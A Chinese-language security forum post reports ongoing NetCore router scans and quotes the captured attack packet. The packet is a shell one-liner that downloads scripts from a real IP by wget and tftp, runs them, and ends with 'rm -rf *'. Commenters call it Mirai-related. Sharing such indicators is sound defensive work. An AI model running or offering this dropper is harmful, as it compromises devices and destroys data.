入侵 扫描 木马
最近一直被netcore攻击扫描
匿名用户 2020-03-18 08:54:26 622人浏览

近期一直被netcore攻击扫描,攻击包中自带指令,来源都是美国新泽西州,前期已经提过类似的了

image.png

攻击代码

AA  AAAA cd /tmp || cd /run || cd /; wget http://50.115.168.132/njdfhalbins.sh; chmod 777 njdfhalbins.sh; sh njdfhalbins.sh; tftp 50.115.168.132 -c get njdfhaltftp1.sh; chmod 777 njdfhaltftp1.sh; sh njdfhaltftp1.sh; tftp -r njdfhaltftp2.sh -g 50.115.168.132; chmod 777 njdfhaltftp2.sh; sh njdfhaltftp2.sh; rm -rf njdfhalbins.sh njdfhaltftp1.sh njdfhaltftp2.sh; rm -rf *
ip地址(2) 威胁情报数目 开放端口 所属域名 相关样本 微步标签 < 1/1 >
Hash(1) 检测结果 关联样本 微步标签 免费 全部 < 1/1 >
luolin6888 2020-03-18 20:05:01 回复
天天扫什么啊
匿名用户 2020-03-18 15:40:45 回复
分享 谢了
iT-Xy 2020-03-18 12:53:26 回复
同样天天搞扫描!貌似还有美国一些安全公司的扫描!
匿名用户 2020-03-18 10:24:54 回复
Mirai情报